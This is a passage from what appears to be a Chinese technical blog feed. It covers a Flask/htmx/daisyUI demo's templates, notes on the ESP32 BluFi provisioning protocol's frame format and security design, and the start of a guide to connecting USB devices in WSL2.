</span></span><span class="line"><span class="cl">  <span class="p">&lt;</span><span class="nt">section</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl">    <span class="p">&lt;</span><span class="nt">div</span> <span class="na">class</span><span class="o">=</span><span class="s">&#34;flex flex-col gap-8&#34;</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl">      <span class="p">&lt;</span><span class="nt">section</span> <span class="na">class</span><span class="o">=</span><span class="s">&#34;hero bg-base-200 px-16 sm:px-32 py-24 sm:rounded-3xl&#34;</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl">        <span class="p">&lt;</span><span class="nt">div</span> <span class="na">class</span><span class="o">=</span><span class="s">&#34;hero-content text-center&#34;</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl">          <span class="p">&lt;</span><span class="nt">div</span> <span class="na">class</span><span class="o">=</span><span class="s">&#34;flex flex-col gap-6&#34;</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl">            <span class="p">&lt;</span><span class="nt">h1</span> <span class="na">class</span><span class="o">=</span><span class="s">&#34;text-4xl font-bold&#34;</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl">              Flask Htmlx daisyUI Demo
</span></span><span class="line"><span class="cl">            <span class="p">&lt;/</span><span class="nt">h1</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl">            <span class="p">&lt;</span><span class="nt">p</span> <span class="na">class</span><span class="o">=</span><span class="s">&#34;text-lg&#34;</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl">              This is an simple demo of Flask and it&#39;s built in HTTP server app using Htmlx, TailwindCSS and DaisyUI.
</span></span><span class="line"><span class="cl">            <span class="p">&lt;/</span><span class="nt">p</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl">          <span class="p">&lt;/</span><span class="nt">div</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">        <span class="p">&lt;/</span><span class="nt">div</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl">      <span class="p">&lt;/</span><span class="nt">section</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">      <span class="p">&lt;</span><span class="nt">section</span> <span class="na">class</span><span class="o">=</span><span class="s">&#34;hero bg-base-200 px-16 sm:px-32 py-24 sm:rounded-3xl&#34;</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl">        <span class="p">&lt;</span><span class="nt">div</span> <span class="na">class</span><span class="o">=</span><span class="s">&#34;hero-content text-left&#34;</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl">          <span class="p">&lt;</span><span class="nt">div</span> <span class="na">class</span><span class="o">=</span><span class="s">&#34;flex flex-col gap-6&#34;</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl">            <span class="p">&lt;</span><span class="nt">h1</span> <span class="na">class</span><span class="o">=</span><span class="s">&#34;text-4xl font-bold&#34;</span><span class="p">&gt;</span>Search Contacts
</span></span><span class="line"><span class="cl">              <span class="p">&lt;</span><span class="nt">span</span> <span class="na">class</span><span class="o">=</span><span class="s">&#34;htmx-indicator&#34;</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl">                <span class="p">&lt;</span><span class="nt">img</span> <span class="na">src</span><span class="o">=</span><span class="s">&#34;{{url_for(&#39;static&#39;, filename=&#39;img/bars.svg&#39;)}}&#34;</span> <span class="p">/&gt;</span> Searching...
</span></span><span class="line"><span class="cl">              <span class="p">&lt;/</span><span class="nt">span</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl">            <span class="p">&lt;/</span><span class="nt">h1</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl">            <span class="p">&lt;</span><span class="nt">input</span> <span class="na">class</span><span class="o">=</span><span class="s">&#34;form-control input input-bordered input-md w-full max-w-xs&#34;</span> <span class="na">type</span><span class="o">=</span><span class="s">&#34;text&#34;</span> <span class="na">name</span><span class="o">=</span><span class="s">&#34;search&#34;</span>
</span></span><span class="line"><span class="cl">              <span class="na">placeholder</span><span class="o">=</span><span class="s">&#34;Begin Typing To Search Users...&#34;</span> <span class="na">hx-post</span><span class="o">=</span><span class="s">&#34;/search&#34;</span> <span class="na">hx-trigger</span><span class="o">=</span><span class="s">&#34;keyup changed delay:250ms&#34;</span>
</span></span><span class="line"><span class="cl">              <span class="na">hx-target</span><span class="o">=</span><span class="s">&#34;#search-results&#34;</span> <span class="na">hx-indicator</span><span class="o">=</span><span class="s">&#34;.htmx-indicator&#34;</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">            <span class="p">&lt;</span><span class="nt">table</span> <span class="na">class</span><span class="o">=</span><span class="s">&#34;table table-xs&#34;</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl">              <span class="p">&lt;</span><span class="nt">thead</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl">                <span class="p">&lt;</span><span class="nt">tr</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl">                  <span class="p">&lt;</span><span class="nt">th</span><span class="p">&gt;</span>ID
</span></span><span class="line"><span class="cl">                  <span class="p">&lt;/</span><span class="nt">th</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl">                  <span class="p">&lt;</span><span class="nt">th</span><span class="p">&gt;</span>First
</span></span><span class="line"><span class="cl">                    Name<span class="p">&lt;/</span><span class="nt">th</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl">                  <span class="p">&lt;</span><span class="nt">th</span><span class="p">&gt;</span>Last
</span></span><span class="line"><span class="cl">                    Name<span class="p">&lt;/</span><span class="nt">th</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl">                  <span class="p">&lt;</span><span class="nt">th</span><span class="p">&gt;</span>Email
</span></span><span class="line"><span class="cl">                  <span class="p">&lt;/</span><span class="nt">th</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl">                <span class="p">&lt;/</span><span class="nt">tr</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl">              <span class="p">&lt;/</span><span class="nt">thead</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">              <span class="p">&lt;</span><span class="nt">tbody</span> <span class="na">id</span><span class="o">=</span><span class="s">&#34;search-results&#34;</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl">                {% include &#39;search.html&#39; %}
</span></span><span class="line"><span class="cl">              <span class="p">&lt;/</span><span class="nt">tbody</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl">            <span class="p">&lt;/</span><span class="nt">table</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl">          <span class="p">&lt;/</span><span class="nt">div</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl">        <span class="p">&lt;/</span><span class="nt">div</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl">      <span class="p">&lt;/</span><span class="nt">section</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">      <span class="p">&lt;</span><span class="nt">section</span> <span class="na">class</span><span class="o">=</span><span class="s">&#34;hero bg-base-200 px-16 sm:px-32 py-24 sm:rounded-3xl&#34;</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl">        <span class="p">&lt;</span><span class="nt">div</span>
</span></span><span class="line"><span class="cl">          <span class="na">class</span><span class="o">=</span><span class="s">&#34;flex flex-col w-full max-w-md px-4 py-8 bg-white rounded-lg shadow dark:bg-gray-800 sm:px-6 md:px-8 lg:px-10&#34;</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl">          <span class="p">&lt;</span><span class="nt">div</span> <span class="na">class</span><span class="o">=</span><span class="s">&#34;self-center mb-6 text-xl font-light text-gray-600 sm:text-2xl dark:text-white&#34;</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl">            Login To Your Account
</span></span><span class="line"><span class="cl">          <span class="p">&lt;/</span><span class="nt">div</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl">          <span class="p">&lt;</span><span class="nt">div</span> <span class="na">class</span><span class="o">=</span><span class="s">&#34;mt-8&#34;</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl">            <span class="p">&lt;</span><span class="nt">form</span> <span class="na">action</span><span class="o">=</span><span class="s">&#34;#&#34;</span> <span class="na">autoComplete</span><span class="o">=</span><span class="s">&#34;off&#34;</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl">              <span class="p">&lt;</span><span class="nt">div</span> <span class="na">class</span><span class="o">=</span><span class="s">&#34;flex flex-col mb-2&#34;</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl">                <span class="p">&lt;</span><span class="nt">div</span> <span class="na">class</span><span class="o">=</span><span class="s">&#34;flex relative &#34;</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl">                  <span class="p">&lt;</span><span class="nt">span</span>
</span></span><span class="line"><span class="cl">                    <span class="na">class</span><span class="o">=</span><span class="s">&#34;rounded-l-md inline-flex  items-center px-3&#34;</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl">                    <span class="p">&lt;</span><span class="nt">svg</span> <span class="na">width</span><span class="o">=</span><span class="s">&#34;15&#34;</span> <span class="na">height</span><span class="o">=</span><span class="s">&#34;15&#34;</span> <span class="na">fill</span><span class="o">=</span><span class="s">&#34;currentColor&#34;</span> <span class="na">viewBox</span><span class="o">=</span><span class="s">&#34;0 0 1792 1792&#34;</span>
</span></span><span class="line"><span class="cl">                      <span class="na">xmlns</span><span class="o">=</span><span class="s">&#34;http://www.w3.org/2000/svg&#34;</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl">                      <span class="p">&lt;</span><span class="nt">path</span>
</span></span><span class="line"><span class="cl">                        <span class="na">d</span><span class="o">=</span><span class="s">&#34;M1792 710v794q0 66-47 113t-113 47h-1472q-66 0-113-47t-47-113v-794q44 49 101 87 362 246 497 345 57 42 92.5 65.5t94.5 48 110 24.5h2q51 0 110-24.5t94.5-48 92.5-65.5q170-123 498-345 57-39 100-87zm0-294q0 79-49 151t-122 123q-376 261-468 325-10 7-42.5 30.5t-54 38-52 32.5-57.5 27-50 9h-2q-23 0-50-9t-57.5-27-52-32.5-54-38-42.5-30.5q-91-64-262-182.5t-205-142.5q-62-42-117-115.5t-55-136.5q0-78 41.5-130t118.5-52h1472q65 0 112.5 47t47.5 113z&#34;</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl">                      <span class="p">&lt;/</span><span class="nt">path</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl">                    <span class="p">&lt;/</span><span class="nt">svg</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl">                  <span class="p">&lt;/</span><span class="nt">span</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl">                  <span class="p">&lt;</span><span class="nt">input</span> <span class="na">type</span><span class="o">=</span><span class="s">&#34;text&#34;</span> <span class="na">id</span><span class="o">=</span><span class="s">&#34;sign-in-email&#34;</span>
</span></span><span class="line"><span class="cl">                    <span class="na">class</span><span class="o">=</span><span class="s">&#34;input input-bordered input-md w-full max-w-xs&#34;</span>
</span></span><span class="line"><span class="cl">                    <span class="na">placeholder</span><span class="o">=</span><span class="s">&#34;Your email&#34;</span> <span class="p">/&gt;</span>
</span></span><span class="line"><span class="cl">                <span class="p">&lt;/</span><span class="nt">div</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl">              <span class="p">&lt;/</span><span class="nt">div</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl">              <span class="p">&lt;</span><span class="nt">div</span> <span class="na">class</span><span class="o">=</span><span class="s">&#34;flex flex-col mb-6&#34;</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl">                <span class="p">&lt;</span><span class="nt">div</span> <span class="na">class</span><span class="o">=</span><span class="s">&#34;flex relative &#34;</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl">                  <span class="p">&lt;</span><span class="nt">span</span>
</span></span><span class="line"><span class="cl">                    <span class="na">class</span><span class="o">=</span><span class="s">&#34;rounded-l-md inline-flex  items-center px-3&#34;</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl">                    <span class="p">&lt;</span><span class="nt">svg</span> <span class="na">width</span><span class="o">=</span><span class="s">&#34;15&#34;</span> <span class="na">height</span><span class="o">=</span><span class="s">&#34;15&#34;</span> <span class="na">fill</span><span class="o">=</span><span class="s">&#34;currentColor&#34;</span> <span class="na">viewBox</span><span class="o">=</span><span class="s">&#34;0 0 1792 1792&#34;</span>
</span></span><span class="line"><span class="cl">                      <span class="na">xmlns</span><span class="o">=</span><span class="s">&#34;http://www.w3.org/2000/svg&#34;</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl">                      <span class="p">&lt;</span><span class="nt">path</span>
</span></span><span class="line"><span class="cl">                        <span class="na">d</span><span class="o">=</span><span class="s">&#34;M1376 768q40 0 68 28t28 68v576q0 40-28 68t-68 28h-960q-40 0-68-28t-28-68v-576q0-40 28-68t68-28h32v-320q0-185 131.5-316.5t316.5-131.5 316.5 131.5 131.5 316.5q0 26-19 45t-45 19h-64q-26 0-45-19t-19-45q0-106-75-181t-181-75-181 75-75 181v320h736z&#34;</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl">                      <span class="p">&lt;/</span><span class="nt">path</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl">                    <span class="p">&lt;/</span><span class="nt">svg</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl">                  <span class="p">&lt;/</span><span class="nt">span</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl">                  <span class="p">&lt;</span><span class="nt">input</span> <span class="na">type</span><span class="o">=</span><span class="s">&#34;password&#34;</span> <span class="na">id</span><span class="o">=</span><span class="s">&#34;sign-in-email&#34;</span>
</span></span><span class="line"><span class="cl">                    <span class="na">class</span><span class="o">=</span><span class="s">&#34;input input-bordered input-md w-full max-w-xs&#34;</span>
</span></span><span class="line"><span class="cl">                    <span class="na">placeholder</span><span class="o">=</span><span class="s">&#34;Your password&#34;</span> <span class="p">/&gt;</span>
</span></span><span class="line"><span class="cl">                <span class="p">&lt;/</span><span class="nt">div</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl">              <span class="p">&lt;/</span><span class="nt">div</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl">              <span class="p">&lt;</span><span class="nt">div</span> <span class="na">class</span><span class="o">=</span><span class="s">&#34;flex items-center mb-6 -mt-4&#34;</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl">                <span class="p">&lt;</span><span class="nt">div</span> <span class="na">class</span><span class="o">=</span><span class="s">&#34;flex ml-auto&#34;</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl">                  <span class="p">&lt;</span><span class="nt">a</span> <span class="na">href</span><span class="o">=</span><span class="s">&#34;#&#34;</span>
</span></span><span class="line"><span class="cl">                    <span class="na">class</span><span class="o">=</span><span class="s">&#34;link link-hover&#34;</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl">                    Forgot Your Password?
</span></span><span class="line"><span class="cl">                  <span class="p">&lt;/</span><span class="nt">a</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl">                <span class="p">&lt;/</span><span class="nt">div</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl">              <span class="p">&lt;/</span><span class="nt">div</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl">              <span class="p">&lt;</span><span class="nt">div</span> <span class="na">class</span><span class="o">=</span><span class="s">&#34;flex w-full&#34;</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl">                <span class="p">&lt;</span><span class="nt">button</span> <span class="na">type</span><span class="o">=</span><span class="s">&#34;submit&#34;</span> <span class="na">class</span><span class="o">=</span><span class="s">&#34;btn btn-secondary btn-outline&#34;</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl">                  Login
</span></span><span class="line"><span class="cl">                <span class="p">&lt;/</span><span class="nt">button</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl">              <span class="p">&lt;/</span><span class="nt">div</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl">            <span class="p">&lt;/</span><span class="nt">form</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl">          <span class="p">&lt;/</span><span class="nt">div</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl">          <span class="p">&lt;</span><span class="nt">div</span> <span class="na">class</span><span class="o">=</span><span class="s">&#34;flex items-center justify-center mt-6&#34;</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl">            <span class="p">&lt;</span><span class="nt">a</span> <span class="na">href</span><span class="o">=</span><span class="s">&#34;#&#34;</span> <span class="na">target</span><span class="o">=</span><span class="s">&#34;_blank&#34;</span>
</span></span><span class="line"><span class="cl">              <span class="na">class</span><span class="o">=</span><span class="s">&#34;link link-hover&#34;</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl">              <span class="p">&lt;</span><span class="nt">span</span> <span class="na">class</span><span class="o">=</span><span class="s">&#34;ml-2&#34;</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl">                You don<span class="ni">&amp;#x27;</span>t have an account?
</span></span><span class="line"><span class="cl">              <span class="p">&lt;/</span><span class="nt">span</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl">            <span class="p">&lt;/</span><span class="nt">a</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl">          <span class="p">&lt;/</span><span class="nt">div</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl">        <span class="p">&lt;/</span><span class="nt">div</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">      <span class="p">&lt;/</span><span class="nt">section</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl">    <span class="p">&lt;/</span><span class="nt">div</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl">  <span class="p">&lt;/</span><span class="nt">section</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl"><span class="p">&lt;/</span><span class="nt">main</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl">{% endblock content %}
</span></span></code></pre></td></tr></table>
</div>
</div><p>templates\search.html</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span><span class="lnt">11
</span><span class="lnt">12
</span><span class="lnt">13
</span><span class="lnt">14
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-html" data-lang="html"><span class="line"><span class="cl">{% if users %}
</span></span><span class="line"><span class="cl">{% for user in users %}
</span></span><span class="line"><span class="cl"><span class="p">&lt;</span><span class="nt">tr</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl">    <span class="p">&lt;</span><span class="nt">td</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl">        {{user.id}}<span class="p">&lt;/</span><span class="nt">td</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl">    <span class="p">&lt;</span><span class="nt">td</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl">        {{user.fname}}<span class="p">&lt;/</span><span class="nt">td</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl">    <span class="p">&lt;</span><span class="nt">td</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl">        {{user.lname}}<span class="p">&lt;/</span><span class="nt">td</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl">    <span class="p">&lt;</span><span class="nt">td</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl">        {{user.email}}<span class="p">&lt;/</span><span class="nt">td</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl"><span class="p">&lt;/</span><span class="nt">tr</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl">{% endfor %}
</span></span><span class="line"><span class="cl">{% endif %}
</span></span></code></pre></td></tr></table>
</div>
</div><p>使用 Tailwind CSS 生成 CSS</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">npx tailwindcss -i ./static/src/main.css -o ./static/dist/main.css --minify
</span></span></code></pre></td></tr></table>
</div>
</div><p>运行 app</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl"><span class="o">(</span>venv<span class="o">)</span>$ python app.py
</span></span></code></pre></td></tr></table>
</div>
</div><p>访问 http://127.0.0.1:5000/ 查看效果</p>
<p><img loading="lazy" src="https://github.com/hacperme/picx_hosting/raw/master/20210507/screencapture-127-0-0-1-5000-2023-10-30-01_44_51.3zjpb5uqib40.webp" alt=""  />
</p>
<h2 id="资料">资料</h2>
<ul>
<li><a href="https://testdriven.io/blog/flask-htmx-tailwind/">Rapid Prototyping with Flask, htmx, and Tailwind CSS</a></li>
<li><a href="https://htmx.org/">htmx.org</a></li>
<li><a href="https://flask.palletsprojects.com/en/3.0.x/">flask</a></li>
<li><a href="https://daisyui.com/">daisyui</a></li>
</ul>
]]></content:encoded>
    </item>
    <item>
      <title>ESP32 BLUFI 协议和代码实现梳理</title>
      <link>https://hacperme.com/posts/notes/20231025_esp32_blufi/</link>
      <pubDate>Wed, 25 Oct 2023 23:02:30 +0800</pubDate>
      <guid>https://hacperme.com/posts/notes/20231025_esp32_blufi/</guid>
      <description>Blufi 是乐鑫设计的一个用在 ESP32 上的蓝牙配网协议，网上开源 Blufi 协议细节和实现代码。最近一个项目需要用到 Blufi，将其移植到了 bk 的 bk7231n mcu WiFi 上。 下面是 esp-idf 上</description>
      <content:encoded><![CDATA[<p>Blufi 是乐鑫设计的一个用在 ESP32 上的蓝牙配网协议，网上开源 Blufi 协议细节和实现代码。最近一个项目需要用到 Blufi，将其移植到了 bk 的 bk7231n mcu WiFi 上。</p>
<p>下面是 esp-idf 上 Blufi 实现的代码整理。</p>
<p><img loading="lazy" src="https://github.com/hacperme/picx_hosting/raw/master/20210507/ESP_BLUFI-%e4%bb%a3%e7%a0%81%e6%a2%b3%e7%90%86.27k4yfeh2kro.webp" alt=""  />
</p>
<p>移植过程主要需要关注 ble 驱动和应用 api 两部分，应用接口相关代码对平台没有太多依赖，主要解决从 esp-idf 迁移到新平台上的编译问题；ble 驱动层相关的代码则需要替换为新平台的实现，这里改动较为费劲。</p>
<p>Blufi 的代码流程可以看 esp-idf 代码中 blufi_profile_cb、esp_blufi_gap_event_handler、btc_blufi_cb_handler、btc_blufi_call_handler 这几个回调函数中各个事件的处理过程。驱动层主要关注的事情：</p>
<ol>
<li>ble GATT UUID 配置</li>
<li>ble 广播开启和关闭</li>
<li>ble 连接断开，数据读写的事件的处理</li>
<li>wifi sta softap 的配置，状态获取，连接断开事件处理</li>
</ol>
<h2 id="blufi-协议设计的一些考量">Blufi 协议设计的一些考量</h2>
<p>Blufi 协议帧格式如下。</p>
<p>帧不分片格式：</p>
<table>
<thead>
<tr>
<th>字段</th>
<th>值（字节）</th>
</tr>
</thead>
<tbody>
<tr>
<td>类型（最低有效位）</td>
<td>1</td>
</tr>
<tr>
<td>帧控制</td>
<td>1</td>
</tr>
<tr>
<td>序列号</td>
<td>1</td>
</tr>
<tr>
<td>数据长度</td>
<td>1</td>
</tr>
<tr>
<td>数据</td>
<td>${Data Length}</td>
</tr>
<tr>
<td>校验（最高有效位）</td>
<td>2</td>
</tr>
</tbody>
</table>
<p>帧分片格式：</p>
<table>
<thead>
<tr>
<th>字段</th>
<th>值（字节）</th>
</tr>
</thead>
<tbody>
<tr>
<td>类型（最低有效位）</td>
<td>1</td>
</tr>
<tr>
<td>帧控制（分片）</td>
<td>1</td>
</tr>
<tr>
<td>序列号</td>
<td>1</td>
</tr>
<tr>
<td>数据长度</td>
<td>1</td>
</tr>
<tr>
<td>数据</td>
<td>内容总长度：2数据内容长度：${Data Length} - 2</td>
</tr>
<tr>
<td>校验（最高有效位）</td>
<td>2</td>
</tr>
</tbody>
</table>
<p>Blufi 协议设计的一些考虑：</p>
<ul>
<li>
<p>数据帧的功能区分：通过帧类型区分，分为数据帧和控制帧，以及子类型下的具体功能。</p>
</li>
<li>
<p>帧控制的作用：是否加密、校验、分片，是否需要ACK以及表明传输方向，提高灵活性。</p>
</li>
<li>
<p>保障数据安全：采用 DH 算法进行密钥协商, 128-AES 算法用于数据加密。</p>
</li>
<li>
<p>保障数据完整性：CRC16 算法用于校验和验证。</p>
</li>
<li>
<p>防止重放攻击：通过校验帧序列号来保障</p>
</li>
<li>
<p>传输长数据：数据长度1字节，一帧数据长度有限，长数据可帧分片传输，代码中根据mtu大小设置数据分片大小。</p>
</li>
</ul>
<p>相比于其他常见的通信协议，Blufi 中没有用于帧同步的帧头帧尾，在 ble 传输中可能不用考虑，但在其他通信场景需要考虑帧同步的情况。</p>
<h2 id="资料">资料</h2>
<ul>
<li><a href="https://github.com/espressif/esp-idf/tree/master/examples/bluetooth/blufi">Blufi source code</a></li>
<li><a href="https://github.com/EspressifApp/EspBlufiForAndroid">EspBlufiForAndroid</a></li>
<li><a href="https://docs.espressif.com/projects/esp-idf/zh_CN/latest/esp32/api-guides/blufi.html">BluFi protocol</a></li>
</ul>
]]></content:encoded>
    </item>
    <item>
      <title>wsl2 连接 USB 设备</title>
      <link>https://hacperme.com/posts/notes/20231011_wsl2_usb/</link>
      <pubDate>Wed, 11 Oct 2023 00:41:49 +0800</pubDate>
      <guid>https://hacperme.com/posts/notes/20231011_wsl2_usb/</guid>
      <description>windows 配置 下载安装 usbipd-win。 wsl 配置 安装 USBIP 工具和硬件数据库 输入 sudo apt install linux-tools-generic hwdata 和 sudo update-alternatives --install /usr/local/bin/usbip usbip /usr/lib/linux-tools/*-generic/usbip 20 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23</description>
      <content:encoded><![CDATA[<h2 id="windows-配置">windows 配置</h2>
<p>下载安装 <a href="https://github.com/dorssel/usbipd-win/releases/">usbipd-win</a>。</p>
<h2 id="wsl-配置">wsl 配置</h2>
<p>安装 USBIP 工具和硬件数据库</p>
<p>输入 <code>sudo apt install linux-tools-generic hwdata </code> 和 <code>sudo update-alternatives --install /usr/local/bin/usbip usbip /usr/lib/linux-tools/*-generic/usbip 20</code></p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span><span class="lnt">11
</span><span class="lnt">12
</span><span class="lnt">13
</span><span class="lnt">14
</span><span class="lnt">15
</span><span class="lnt">16
</span><span class="lnt">17
</span><span class="lnt">18
</span><span class="lnt">19
</span><span class="lnt">20
</span><span class="lnt">21
</span><span class="lnt">22
</span><span class="lnt">23
</span><span class="lnt">24
</span><span class="lnt">25
</span><span class="lnt">26
</span><span class="lnt">27
</span><span class="lnt">28
</span><span class="lnt">29
</span><span class="lnt">30
</span><span class="lnt">31
</span><span class="lnt">32
</span><span class="lnt">33
</span><span class="lnt">34
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">hacper@LAPTOP-0RHP1TGD:~$ sudo apt install linux-tools-generic hwdata
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">Reading package lists... Donel /usr/local/bin/usbip usbip /usr/lib/linux-tools/*-generic/usbip <span class="m">20</span>
</span></span><span class="line"><span class="cl">Building dependency tree
</span></span><span class="line"><span class="cl">Reading state information... Done
</span></span><span class="line"><span class="cl">Get:3 http://archive.ubuntu.com/ubuntu focal-updates/main amd64 linux-tools-5.4.0-164 amd64 5.4.0-164.181 <span class="o">[</span><span class="m">5606</span> kB<span class="o">]</span>
</span></span><span class="line"><span class="cl">Get:4 http://archive.ubuntu.com/ubuntu focal-updates/main amd64 linux-tools-5.4.0-164-generic amd64 5.4.0-164.181 <span class="o">[</span><span class="m">1996</span> B<span class="o">]</span>
</span></span><span class="line"><span class="cl">Get:5 http://archive.ubuntu.com/ubuntu focal-updates/main amd64 linux-tools-generic amd64 5.4.0.164.161 <span class="o">[</span><span class="m">2460</span> B<span class="o">]</span>
</span></span><span class="line"><span class="cl">Fetched <span class="m">5833</span> kB in 6s <span class="o">(</span><span class="m">940</span> kB/s<span class="o">)</span>
</span></span><span class="line"><span class="cl">Selecting previously unselected package hwdata.
</span></span><span class="line"><span class="cl"><span class="o">(</span>Reading database ... <span class="m">50195</span> files and directories currently installed.<span class="o">)</span>
</span></span><span class="line"><span class="cl">Preparing to unpack .../hwdata_0.333-1_all.deb ...
</span></span><span class="line"><span class="cl">Unpacking hwdata <span class="o">(</span>0.333-1<span class="o">)</span> ...
</span></span><span class="line"><span class="cl">Selecting previously unselected package linux-tools-common.
</span></span><span class="line"><span class="cl">Preparing to unpack .../linux-tools-common_5.4.0-164.181_all.deb ...
</span></span><span class="line"><span class="cl">Unpacking linux-tools-common <span class="o">(</span>5.4.0-164.181<span class="o">)</span> ...
